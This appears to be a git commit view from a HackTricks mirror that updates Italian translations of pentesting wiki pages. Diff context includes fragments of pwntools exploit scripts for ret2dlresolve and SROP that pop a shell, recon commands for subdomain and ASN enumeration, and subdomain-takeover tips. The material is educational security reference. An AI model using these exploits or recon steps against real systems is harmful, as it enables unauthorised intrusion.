maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/README.md', 'src/binary-exploitation/rop-return-oriente

Browse Source
This commit is contained in:
Translator 2025-01-03 18:13:53 +00:00
parent 9876d1a7cc
commit c0ec893443
73 changed files with 1029 additions and 760 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

7
hacktricks-preprocessor.py
View File

@ -69,6 +69,12 @@ def ref(matchobj):
return result
def add_read_time(content):
regex = r'(<\/style>\n# .*(?=\n))'
new_content = re.sub(regex, lambda x: x.group(0) + "\n\nReading time: {{ #reading_time }}", content)
return new_content
def iterate_chapters(sections):
if isinstance(sections, dict) and "PartTitle" in sections: # Not a chapter section
return
@ -99,6 +105,7 @@ if __name__ == '__main__':
current_chapter = chapter
regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endref[\s]*}}'
new_content = re.sub(regex, ref, chapter['content'])
new_content = add_read_time(new_content)
chapter['content'] = new_content
content = json.dumps(book)

47
src/README.md
View File

@ -1,13 +1,10 @@
# HackTricks
Reading time: {{ #reading_time }}
<figure><img src="images/hacktricks.gif" alt=""><figcaption></figcaption></figure>
_I loghi e il design in movimento di Hacktricks sono di_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
_Hacktricks loghi e design in movimento di_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
> [!TIP]
> **Benvenuto nel wiki dove troverai ogni trucco/tecnica/hacking che ho imparato da CTF, applicazioni della vita reale, letture di ricerche e notizie.**
> [!TIP] > **Benvenuto nel wiki dove troverai ogni trucco/tecnica/hacking che ho imparato da CTF, applicazioni della vita reale, lettura di ricerche e notizie.**
Per iniziare, segui questa pagina dove troverai il **flusso tipico** che **dovresti seguire quando fai pentesting** su una o più **macchine:**
@ -35,7 +32,9 @@ Puoi controllare il loro **blog** in [**https://blog.stmcyber.com**](https://blo
[**RootedCON**](https://www.rootedcon.com) è l'evento di cybersecurity più rilevante in **Spagna** e uno dei più importanti in **Europa**. Con **la missione di promuovere la conoscenza tecnica**, questo congresso è un punto di incontro vivace per professionisti della tecnologia e della cybersecurity in ogni disciplina.
{% embed url="https://www.rootedcon.com/" %}
{{#ref}}
https://www.rootedcon.com/
{{#endref}}
---
@ -43,11 +42,13 @@ Puoi controllare il loro **blog** in [**https://blog.stmcyber.com**](https://blo
<figure><img src="images/image (47).png" alt=""><figcaption></figcaption></figure>
**Intigriti** è la **piattaforma di ethical hacking e bug bounty #1 in Europa.**
**Intigriti** è la **#1 in Europa** piattaforma di hacking etico e **bug bounty.**
**Suggerimento bug bounty**: **iscriviti** a **Intigriti**, una premium **piattaforma di bug bounty creata da hacker, per hacker**! Unisciti a noi su [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) oggi, e inizia a guadagnare bounty fino a **$100,000**!
**Suggerimento bug bounty**: **iscriviti** a **Intigriti**, una premium **bug bounty platform creata da hacker, per hacker**! Unisciti a noi su [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) oggi, e inizia a guadagnare bounty fino a **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
{{#ref}}
https://go.intigriti.com/hacktricks
{{#endref}}
---
@ -56,11 +57,13 @@ Puoi controllare il loro **blog** in [**https://blog.stmcyber.com**](https://blo
<figure><img src="images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Usa [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) per costruire e **automatizzare facilmente i flussi di lavoro** alimentati dagli strumenti della comunità **più avanzati** al mondo.
Usa [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) per costruire e **automatizzare flussi di lavoro** facilmente, alimentati dagli **strumenti comunitari più avanzati** al mondo.
Accedi oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{{#ref}}
https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks
{{#endref}}
---
@ -70,9 +73,9 @@ Accedi oggi:
Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
- **Hacking Insights:** Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking
- **Notizie di hacking in tempo reale:** Rimani aggiornato con il mondo dell'hacking in rapida evoluzione attraverso notizie e approfondimenti in tempo reale
- **Ultimi annunci:** Rimani informato sugli ultimi bug bounty in partenza e aggiornamenti cruciali della piattaforma
- **Approfondimenti sul hacking:** Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking
- **Notizie di hacking in tempo reale:** Rimani aggiornato con il mondo frenetico dell'hacking attraverso notizie e approfondimenti in tempo reale
- **Ultimi annunci:** Rimani informato sui nuovi bug bounty in arrivo e aggiornamenti cruciali della piattaforma
**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi!
@ -86,7 +89,9 @@ Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmw
**Trova e segnala vulnerabilità critiche ed esploitabili con un impatto reale sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{{#ref}}
https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons
{{#endref}}
---
@ -111,7 +116,9 @@ Puoi **creare un account gratuito** [**qui**](https://serpapi.com/users/sign_up)
Impara le tecnologie e le competenze necessarie per eseguire ricerche sulle vulnerabilità, penetration testing e reverse engineering per proteggere le applicazioni e i dispositivi mobili. **Padroneggia la sicurezza di iOS e Android** attraverso i nostri corsi on-demand e **ottieni la certificazione**:
{% embed url="https://academy.8ksec.io/" %}
{{#ref}}
https://academy.8ksec.io/
{{#endref}}
---
@ -119,15 +126,17 @@ Impara le tecnologie e le competenze necessarie per eseguire ricerche sulle vuln
<figure><img src="images/websec (1).svg" alt=""><figcaption></figcaption></figure>
[**WebSec**](https://websec.nl) è un'azienda di cybersecurity professionale con sede ad **Amsterdam** che aiuta **a proteggere** le aziende **in tutto il mondo** contro le ultime minacce alla cybersecurity fornendo **servizi di sicurezza offensiva** con un approccio **moderno**.
[**WebSec**](https://websec.nl) è un'azienda di cybersecurity professionale con sede ad **Amsterdam** che aiuta **a proteggere** le aziende **in tutto il mondo** contro le ultime minacce di cybersecurity fornendo **servizi di sicurezza offensiva** con un **approccio moderno**.
WebSec è un'**azienda di sicurezza all-in-one**, il che significa che fanno tutto; Pentesting, **Audit** di Sicurezza, Formazione sulla Consapevolezza, Campagne di Phishing, Revisione del Codice, Sviluppo di Exploit, Outsourcing di Esperti di Sicurezza e molto altro.
Un'altra cosa interessante di WebSec è che, a differenza della media del settore, WebSec è **molto sicura delle proprie capacità**, tanto da **garantire i migliori risultati di qualità**, affermando sul loro sito web "**Se non possiamo hackarlo, non lo paghi!**". Per ulteriori informazioni, dai un'occhiata al loro [**sito web**](https://websec.nl/en/) e [**blog**](https://websec.nl/blog/)!
Un'altra cosa interessante di WebSec è che, a differenza della media del settore, WebSec è **molto sicura delle proprie competenze**, tanto da **garantire i migliori risultati di qualità**, affermando sul loro sito web "**Se non possiamo hackarlo, non lo paghi!**". Per ulteriori informazioni, dai un'occhiata al loro [**sito web**](https://websec.nl/en/) e [**blog**](https://websec.nl/blog/)!
In aggiunta a quanto sopra, WebSec è anche un **sostenitore impegnato di HackTricks.**
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
{{#ref}}
https://www.youtube.com/watch?v=Zq2JycGDCPM
{{#endref}}
## License & Disclaimer

14
src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md
View File

@ -2,13 +2,13 @@
{{#include ../../banners/hacktricks-training.md}}
## Informazioni di Base
## Informazioni di base
Come spiegato nella pagina su [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) e [**Relro**](../common-binary-protections-and-bypasses/relro.md), i binari senza Full Relro risolveranno i simboli (come indirizzi a librerie esterne) la prima volta che vengono utilizzati. Questa risoluzione avviene chiamando la funzione **`_dl_runtime_resolve`**.
La funzione **`_dl_runtime_resolve`** prende dallo stack riferimenti a alcune strutture di cui ha bisogno per **risolvere** il simbolo specificato.
Pertanto, è possibile **falsificare tutte queste strutture** per far sì che il collegamento dinamico risolva il simbolo richiesto (come la funzione **`system`**) e chiamarla con un parametro configurato (ad es. **`system('/bin/sh')`**).
Pertanto, è possibile **falsificare tutte queste strutture** per far sì che la risoluzione dinamica colleghi il simbolo richiesto (come la funzione **`system`**) e la chiami con un parametro configurato (ad es. **`system('/bin/sh')`**).
Di solito, tutte queste strutture vengono falsificate creando una **catena ROP iniziale che chiama `read`** su una memoria scrivibile, quindi le **strutture** e la stringa **`'/bin/sh'`** vengono passate in modo che vengano memorizzate da read in una posizione nota, e poi la catena ROP continua chiamando **`_dl_runtime_resolve`**, facendola **risolvere l'indirizzo di `system`** nelle strutture falsificate e **chiamando questo indirizzo** con l'indirizzo a `$'/bin/sh'`.
@ -17,16 +17,18 @@ Di solito, tutte queste strutture vengono falsificate creando una **catena ROP i
Guarda questo video per una bella spiegazione su questa tecnica nella seconda metà del video:
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
{{#ref}}
https://youtu.be/ADULSwnQs-s?feature=shared
{{#endref}}
Oppure controlla queste pagine per una spiegazione passo-passo:
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works)
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures)
## Riepilogo dell'Attacco
## Riepilogo dell'attacco
1. Scrivere strutture false in un certo luogo
1. Scrivere strutture false in qualche luogo
2. Impostare il primo argomento di system (`$rdi = &'/bin/sh'`)
3. Impostare nello stack gli indirizzi alle strutture per chiamare **`_dl_runtime_resolve`**
4. **Chiamare** `_dl_runtime_resolve`
@ -186,6 +188,6 @@ target.interactive()
- [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared)
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve)
- [https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html](https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html)
- 32bit, no relro, no canary, nx, no pie, overflow di buffer piccolo di base e ritorno. Per sfruttarlo, il bof viene utilizzato per chiamare `read` di nuovo con una sezione `.bss` e una dimensione maggiore, per memorizzare lì le tabelle fake di `dlresolve` per caricare `system`, tornare a main e riutilizzare il bof iniziale per chiamare dlresolve e poi `system('/bin/sh')`.
- 32bit, no relro, no canary, nx, no pie, overflow di buffer piccolo e di base e ritorno. Per sfruttarlo, il bof viene utilizzato per chiamare `read` di nuovo con una sezione `.bss` e una dimensione maggiore, per memorizzare lì le tabelle fake `dlresolve` per caricare `system`, tornare a main e riutilizzare il bof iniziale per chiamare dlresolve e poi `system('/bin/sh')`.
{{#include ../../banners/hacktricks-training.md}}

12
src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md
View File

@ -2,7 +2,7 @@
{{#include ../../../banners/hacktricks-training.md}}
## Informazioni di Base
## Informazioni di base
**`Sigreturn`** è una **syscall** speciale utilizzata principalmente per ripulire dopo che un gestore di segnali ha completato la sua esecuzione. I segnali sono interruzioni inviate a un programma dal sistema operativo, spesso per indicare che si è verificata una situazione eccezionale. Quando un programma riceve un segnale, interrompe temporaneamente il suo lavoro attuale per gestire il segnale con un **gestore di segnali**, una funzione speciale progettata per gestire i segnali.
@ -57,7 +57,9 @@ Se sei curioso, questa è la **struttura sigcontext** memorizzata nello stack pe
```
Per una spiegazione migliore controlla anche:
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
{{#ref}}
https://youtu.be/ADULSwnQs-s?feature=shared
{{#endref}}
## Esempio
@ -88,7 +90,7 @@ payload += bytes(frame)
p.sendline(payload)
p.interactive()
```
Controlla anche il [**exploit da qui**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) dove il binario stava già chiamando `sigreturn` e quindi non è necessario costruirlo con un **ROP**:
Controlla anche l'[**exploit da qui**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) dove il binario stava già chiamando `sigreturn` e quindi non è necessario costruirlo con un **ROP**:
```python
from pwn import *
@ -121,7 +123,7 @@ target.sendline(payload) # Send the target payload
# Drop to an interactive shell
target.interactive()
```
## Altri Esempi & Riferimenti
## Altri Esempi e Riferimenti
- [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
- [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
@ -132,7 +134,7 @@ target.interactive()
- [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html)
- 64 bit, no relro, no canary, nx, no pie. Semplice buffer overflow che sfrutta la funzione `gets` con mancanza di gadget che esegue un [**ret2syscall**](../rop-syscall-execv/). La catena ROP scrive `/bin/sh` nella `.bss` richiamando di nuovo gets, sfrutta la funzione **`alarm`** per impostare eax a `0xf` per chiamare un **SROP** ed eseguire una shell.
- [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html)
- Programma assembly a 64 bit, no relro, no canary, nx, no pie. Il flusso consente di scrivere nello stack, controllare diversi registri e chiamare una syscall e poi chiama `exit`. La syscall selezionata è un `sigreturn` che imposterà i registri e sposterà `eip` per chiamare un'istruzione syscall precedente ed eseguire `memprotect` per impostare lo spazio binario a `rwx` e impostare l'ESP nello spazio binario. Seguendo il flusso, il programma chiamerà di nuovo read in ESP, ma in questo caso ESP punterà alla prossima istruzione quindi passando un shellcode lo scriverà come la prossima istruzione ed eseguirà.
- Programma assembly a 64 bit, no relro, no canary, nx, no pie. Il flusso consente di scrivere nello stack, controllare diversi registri e chiamare una syscall e poi chiama `exit`. La syscall selezionata è un `sigreturn` che imposterà i registri e sposterà `eip` per chiamare un'istruzione syscall precedente ed eseguire `memprotect` per impostare lo spazio binario a `rwx` e impostare l'ESP nello spazio binario. Seguendo il flusso, il programma chiamerà di nuovo read in ESP, ma in questo caso ESP punterà alla prossima istruzione, quindi passando un shellcode lo scriverà come la prossima istruzione ed eseguirà.
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection)
- SROP è utilizzato per dare privilegi di esecuzione (memprotect) al luogo dove è stato posizionato un shellcode.

6
src/burp-suite.md
View File

@ -3,14 +3,16 @@
# Payloads di Base
- **Elenco Semplice:** Solo un elenco contenente un'entrata in ogni riga
- **File Runtime:** Un elenco letto in runtime (non caricato in memoria). Per supportare elenchi grandi.
- **File di Runtime:** Un elenco letto in runtime (non caricato in memoria). Per supportare elenchi grandi.
- **Modifica del Caso:** Applica alcune modifiche a un elenco di stringhe (Nessuna modifica, in minuscolo, in MAIUSCOLO, in Nome Proprio - Prima lettera maiuscola e il resto in minuscolo-, in Nome Proprio - Prima lettera maiuscola e il resto rimane lo stesso-).
- **Numeri:** Genera numeri da X a Y usando Z come passo o casualmente.
- **Brute Forcer:** Insieme di caratteri, lunghezza minima e massima.
[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Payload per eseguire comandi e catturare l'output tramite richieste DNS a burpcollab.
{% embed url="https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e" %}
{{#ref}}
https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e
{{#endref}}
[https://github.com/h3xstream/http-script-generator](https://github.com/h3xstream/http-script-generator)

4
src/crypto-and-stego/esoteric-languages.md
View File

@ -48,7 +48,9 @@ Take it to the top
Whisper my world
```
{% embed url="https://codewithrockstar.com/" %}
{{#ref}}
https://codewithrockstar.com/
{{#endref}}
## PETOOH
```

10
src/crypto-and-stego/hash-length-extension-attack.md
View File

@ -6,11 +6,11 @@
Immagina un server che **firma** alcuni **dati** **aggiungendo** un **segreto** a dei dati di testo chiaro noti e poi hashando quei dati. Se conosci:
- **La lunghezza del segreto** (questo può essere anche forzato a bruteforce da un dato intervallo di lunghezza)
- **La lunghezza del segreto** (questo può essere anche forzato a bruteforce da un intervallo di lunghezza dato)
- **I dati di testo chiaro**
- **L'algoritmo (e è vulnerabile a questo attacco)**
- **Il padding è noto**
- Di solito viene utilizzato uno predefinito, quindi se gli altri 3 requisiti sono soddisfatti, anche questo lo è
- Di solito viene utilizzato un padding predefinito, quindi se gli altri 3 requisiti sono soddisfatti, anche questo lo è
- Il padding varia a seconda della lunghezza del segreto + dati, ecco perché è necessaria la lunghezza del segreto
Allora, è possibile per un **attaccante** **aggiungere** **dati** e **generare** una **firma** valida per i **dati precedenti + dati aggiunti**.
@ -19,7 +19,7 @@ Allora, è possibile per un **attaccante** **aggiungere** **dati** e **generare*
Fondamentalmente, gli algoritmi vulnerabili generano gli hash prima **hashando un blocco di dati**, e poi, **dallo** **hash** **precedentemente** creato (stato), **aggiungono il prossimo blocco di dati** e **lo hashano**.
Immagina che il segreto sia "secret" e i dati siano "data", l'MD5 di "secretdata" è 6036708eba0d11f6ef52ad44e8b74d5b.\
Poi, immagina che il segreto sia "secret" e i dati siano "data", l'MD5 di "secretdata" è 6036708eba0d11f6ef52ad44e8b74d5b.\
Se un attaccante vuole aggiungere la stringa "append" può:
- Generare un MD5 di 64 "A"
@ -29,7 +29,9 @@ Se un attaccante vuole aggiungere la stringa "append" può:
### **Strumento**
{% embed url="https://github.com/iagox86/hash_extender" %}
{{#ref}}
https://github.com/iagox86/hash_extender
{{#endref}}
### Riferimenti

8
src/crypto-and-stego/rc4-encrypt-and-decrypt.md
View File

@ -4,8 +4,12 @@ Se riesci in qualche modo a crittografare un testo in chiaro utilizzando RC4, pu
Se puoi crittografare un testo in chiaro noto, puoi anche estrarre la password. Maggiori riferimenti possono essere trovati nella macchina HTB Kryptos:
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
{{#ref}}
https://0xrick.github.io/hack-the-box/kryptos/
{{#endref}}
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
{{#ref}}
https://0xrick.github.io/hack-the-box/kryptos/
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

4
src/cryptography/hash-length-extension-attack.md
View File

@ -27,7 +27,9 @@ Se un attaccante vuole aggiungere la stringa "append" può:
## **Strumento**
{% embed url="https://github.com/iagox86/hash_extender" %}
{{#ref}}
https://github.com/iagox86/hash_extender
{{#endref}}
## Riferimenti

8
src/cryptography/rc4-encrypt-and-decrypt.md
View File

@ -4,8 +4,12 @@ Se riesci in qualche modo a crittografare un testo in chiaro utilizzando RC4, pu
Se puoi crittografare un testo in chiaro noto, puoi anche estrarre la password. Maggiori riferimenti possono essere trovati nella macchina HTB Kryptos:
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
{{#ref}}
https://0xrick.github.io/hack-the-box/kryptos/
{{#endref}}
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
{{#ref}}
https://0xrick.github.io/hack-the-box/kryptos/
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

59
src/generic-methodologies-and-resources/external-recon-methodology/README.md
View File

@ -2,17 +2,16 @@
{{#include ../../banners/hacktricks-training.md}}
## Scoperta degli asset
## Scoperta delle risorse
> Ti è stato detto che tutto ciò che appartiene a una certa azienda è all'interno dell'ambito, e vuoi scoprire cosa possiede effettivamente questa azienda.
L'obiettivo di questa fase è ottenere tutte le **aziende possedute dalla società principale** e poi tutti gli **asset** di queste aziende. Per farlo, procederemo a:
L'obiettivo di questa fase è ottenere tutte le **aziende possedute dalla società principale** e poi tutti i **beni** di queste aziende. Per farlo, procederemo a:
1. Trovare le acquisizioni della società principale, questo ci darà le aziende all'interno dell'ambito.
2. Trovare l'ASN (se presente) di ciascuna azienda, questo ci darà gli intervalli IP posseduti da ciascuna azienda.
3. Utilizzare ricerche whois inverse per cercare altre voci (nomi delle organizzazioni, domini...) correlate alla prima (questo può essere fatto in modo ricorsivo).
4. Utilizzare altre tecniche come i filtri shodan `org` e `ssl` per cercare altri asset (il trucco `ssl` può essere fatto in modo ricorsivo).
4. Utilizzare altre tecniche come i filtri shodan `org` e `ssl` per cercare altri beni (il trucco `ssl` può essere fatto in modo ricorsivo).
### **Acquisizioni**
@ -20,7 +19,7 @@ Prima di tutto, dobbiamo sapere quali **altre aziende sono possedute dalla socie
Un'opzione è visitare [https://www.crunchbase.com/](https://www.crunchbase.com), **cercare** la **società principale** e **cliccare** su "**acquisizioni**". Lì vedrai altre aziende acquisite dalla principale.\
Un'altra opzione è visitare la pagina **Wikipedia** della società principale e cercare le **acquisizioni**.
> Ok, a questo punto dovresti conoscere tutte le aziende all'interno dell'ambito. Scopriamo come trovare i loro asset.
> Ok, a questo punto dovresti conoscere tutte le aziende all'interno dell'ambito. Scopriamo come trovare i loro beni.
### **ASNs**
@ -35,7 +34,7 @@ Puoi **cercare** per nome dell'azienda, per **IP** o per **dominio** in [**https
amass intel -org tesla
amass intel -asn 8911,50313,394161
```
Inoltre, la **enumerazione dei sottodomini di [**BBOT**](https://github.com/blacklanternsecurity/bbot)** aggrega e riassume automaticamente gli ASN alla fine della scansione.
Inoltre, la enumerazione dei sottodomini di [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'s** aggrega e riassume automaticamente gli ASN alla fine della scansione.
```bash
bbot -t tesla.com -f subdomain-enum
...
@ -53,7 +52,7 @@ bbot -t tesla.com -f subdomain-enum
```
Puoi trovare gli intervalli IP di un'organizzazione anche utilizzando [http://asnlookup.com/](http://asnlookup.com) (ha un'API gratuita).\
Puoi trovare l'IP e l'ASN di un dominio usando [http://ipv4info.com/](http://ipv4info.com).
Puoi trovare l'IP e l'ASN di un dominio utilizzando [http://ipv4info.com/](http://ipv4info.com).
### **Cercare vulnerabilità**
@ -83,7 +82,7 @@ Puoi anche utilizzare uno strumento online per queste informazioni: [http://ptra
### **Reverse Whois (loop)**
All'interno di un **whois** puoi trovare molte **informazioni** interessanti come **nome dell'organizzazione**, **indirizzo**, **email**, numeri di telefono... Ma ciò che è ancora più interessante è che puoi trovare **più asset correlati all'azienda** se esegui **ricerche reverse whois per uno di questi campi** (ad esempio altri registri whois dove appare la stessa email).\
All'interno di un **whois** puoi trovare molte **informazioni** interessanti come **nome dell'organizzazione**, **indirizzo**, **email**, numeri di telefono... Ma ciò che è ancora più interessante è che puoi trovare **ulteriori asset correlati all'azienda** se esegui **ricerche reverse whois su uno di questi campi** (ad esempio altri registri whois dove appare la stessa email).\
Puoi utilizzare strumenti online come:
- [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Gratuito**
@ -123,11 +122,11 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
In parole semplici, favihash ci permetterà di scoprire domini che hanno lo stesso hash dell'icona favicon del nostro obiettivo.
Inoltre, puoi anche cercare tecnologie utilizzando l'hash favicon come spiegato in [**questo post del blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Ciò significa che se conosci il **hash della favicon di una versione vulnerabile di una tecnologia web** puoi cercare in shodan e **trovare più luoghi vulnerabili**:
Inoltre, puoi anche cercare tecnologie utilizzando l'hash favicon come spiegato in [**questo post del blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Ciò significa che se conosci il **hash dell'icona favicon di una versione vulnerabile di una tecnologia web** puoi cercare in shodan e **trovare più luoghi vulnerabili**:
```bash
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
```
Questo è il modo in cui puoi **calcolare l'hash del favicon** di un web:
Questo è come puoi **calcolare l'hash del favicon** di un web:
```python
import mmh3
import requests
@ -151,7 +150,7 @@ Cerca all'interno delle pagine web **stringhe che potrebbero essere condivise tr
# /etc/crontab
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
```
per rinnovare tutti i certificati di dominio sul server. Questo significa che anche se la CA utilizzata per questo non imposta il tempo in cui è stato generato nel tempo di validità, è possibile **trovare domini appartenenti alla stessa azienda nei log di trasparenza dei certificati**.\
per rinnovare tutti i certificati di dominio sul server. Questo significa che anche se il CA utilizzato per questo non imposta il tempo in cui è stato generato nel tempo di validità, è possibile **trovare domini appartenenti alla stessa azienda nei log di trasparenza dei certificati**.\
Controlla questo [**writeup per ulteriori informazioni**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/).
### Informazioni DMARC Mail
@ -160,7 +159,7 @@ Puoi utilizzare un sito web come [https://dmarc.live/info/google.com](https://dm
### **Takeover Passivo**
A quanto pare è comune per le persone assegnare sottodomini a IP che appartengono a fornitori di cloud e a un certo punto **perdere quell'indirizzo IP ma dimenticare di rimuovere il record DNS**. Pertanto, semplicemente **creando una VM** in un cloud (come Digital Ocean) stai effettivamente **prendendo possesso di alcuni sottodomini**.
A quanto pare è comune per le persone assegnare sottodomini a IP che appartengono a fornitori di cloud e a un certo punto **perdere quell'indirizzo IP ma dimenticare di rimuovere il record DNS**. Pertanto, semplicemente **creando una VM** in un cloud (come Digital Ocean) stai effettivamente **prendendo il controllo di alcuni sottodomini**.
[**Questo post**](https://kmsec.uk/blog/passive-takeover/) spiega una storia al riguardo e propone uno script che **crea una VM in DigitalOcean**, **ottiene** l'**IPv4** della nuova macchina e **cerca in Virustotal i record di sottodominio** che puntano ad essa.
@ -185,8 +184,6 @@ Controlla per qualche [domain takeover](../../pentesting-web/domain-subdomain-ta
Se trovi qualche **dominio con un IP diverso** da quelli già trovati nella scoperta degli asset, dovresti eseguire una **scansione di vulnerabilità di base** (utilizzando Nessus o OpenVAS) e qualche [**port scan**](../pentesting-network/#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. A seconda dei servizi in esecuzione, puoi trovare in **questo libro alcuni trucchi per "attaccarli"**.\
&#xNAN;_&#x4E;ota che a volte il dominio è ospitato all'interno di un IP che non è controllato dal cliente, quindi non è nel campo, fai attenzione._
## Sottodomini
> Sappiamo tutte le aziende all'interno del campo, tutti gli asset di ciascuna azienda e tutti i domini correlati alle aziende.
@ -324,7 +321,7 @@ Puoi trovare un **confronto** di molti di questi strumenti qui: [https://blog.bl
### **DNS Brute force**
Proviamo a trovare nuovi **subdomini** forzando i server DNS utilizzando possibili nomi di subdominio.
Proviamo a trovare nuovi **subdomini** forzando i server DNS utilizzando possibili nomi di subdomini.
Per questa azione avrai bisogno di alcune **wordlist comuni di subdomini come**:
@ -344,7 +341,7 @@ sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
```
- [**gobuster**](https://github.com/OJ/gobuster): Questo penso utilizzi solo 1 risolutore
- [**gobuster**](https://github.com/OJ/gobuster): Penso che questo utilizzi solo 1 risolutore
```
gobuster dns -d mysite.com -t 50 -w subdomains.txt
```
@ -356,7 +353,7 @@ shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
```
puredns bruteforce all.txt domain.com
```
- [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) utilizza asyncio per forzare in modo asincrono i nomi di dominio.
- [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) utilizza asyncio per forzare i nomi di dominio in modo asincrono.
```
aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
```
@ -369,7 +366,7 @@ Dopo aver trovato i sottodomini utilizzando fonti aperte e brute-forcing, puoi g
cat subdomains.txt | dnsgen -
```
- [**goaltdns**](https://github.com/subfinder/goaltdns): Dati i domini e i sottodomini generare permutazioni.
- Puoi ottenere le permutazioni di goaltdns **wordlist** in [**qui**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
- Puoi ottenere le permutazioni di goaltdns **wordlist** **qui** [**qui**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
```bash
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
```
@ -378,7 +375,7 @@ goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
```
- [**altdns**](https://github.com/infosec-au/altdns): Oltre a generare permutazioni di sottodomini, può anche provare a risolverli (ma è meglio usare gli strumenti commentati in precedenza).
- Puoi ottenere le permutazioni di altdns **wordlist** [**qui**](https://github.com/infosec-au/altdns/blob/master/words.txt).
